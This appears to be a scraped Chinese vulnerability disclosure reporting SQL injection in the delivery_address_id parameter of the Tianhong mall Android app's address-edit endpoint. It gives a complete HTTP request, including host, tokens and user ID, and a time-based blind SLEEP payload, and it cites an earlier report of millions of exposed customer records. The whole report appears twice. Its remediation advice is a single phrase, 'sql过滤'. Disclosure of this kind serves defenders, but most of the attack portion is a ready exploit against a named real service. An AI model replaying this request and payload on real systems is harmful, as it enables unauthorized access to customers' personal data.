天虹商场APP存在一处SQL注入漏洞

      天虹商场APP存在一处SQL注入漏洞无评论

  天虹商场APP一处SQL注入

  天虹商场app最新版本2.0.4收货地址修改功能存在sql注入,参数:delivery_address_id

天虹商场APP存在一处SQL注入漏洞

天虹商场APP存在一处SQL注入漏洞

  POST /center/delivery_address/edit HTTP/1.1

  x-http-interface-v: 1.0.0

  x-http-package: cn.rainbow.westore

  x-http-devicetype: android

  x-http-token: abcfd78b4f39cc4d1467731907e3755c

  x-http-version: 2.0.4

  x-http-timestamp: 1459129516

  x-http-deviceuid: ffffffff-a95e-e042-5fcb-c4e600000000

  Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; MI 2 MIUI/4.12.5)

  Host: member.honglingjin.cn

  Connection: Keep-Alive

  Accept-Encoding: gzip

  Content-Length: 449

  detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&

  Parameter: delivery_address_id (POST)Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (SELECT)Payload: detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996 AND (SELECT * FROM (SELECT(SLEEP(5)))NESU)&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&

天虹商场APP存在一处SQL注入漏洞

  漏洞证明:

  没跑那么多数据,查看 WooYun: 天虹商场APP一处SQL注入(含380W+商场用户数据及330W+VIP用户数据) 相同。

天虹商场APP存在一处SQL注入漏洞

  修复方案

  sql过滤

  天虹商场app最新版本2.0.4收货地址修改功能存在sql注入,参数:delivery_address_id

天虹商场APP存在一处SQL注入漏洞

天虹商场APP存在一处SQL注入漏洞

  POST /center/delivery_address/edit HTTP/1.1

  x-http-interface-v: 1.0.0

  x-http-package: cn.rainbow.westore

  x-http-devicetype: android

  x-http-token: abcfd78b4f39cc4d1467731907e3755c

  x-http-version: 2.0.4

  x-http-timestamp: 1459129516

  x-http-deviceuid: ffffffff-a95e-e042-5fcb-c4e600000000

  Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; MI 2 MIUI/4.12.5)

  Host: member.honglingjin.cn

  Connection: Keep-Alive

  Accept-Encoding: gzip

  Content-Length: 449

  detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&

  Parameter: delivery_address_id (POST)Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (SELECT)Payload: detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996 AND (SELECT * FROM (SELECT(SLEEP(5)))NESU)&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&

天虹商场APP存在一处SQL注入漏洞

天虹商场APP存在一处SQL注入漏洞

  解决方案:

  sql过滤

发表评论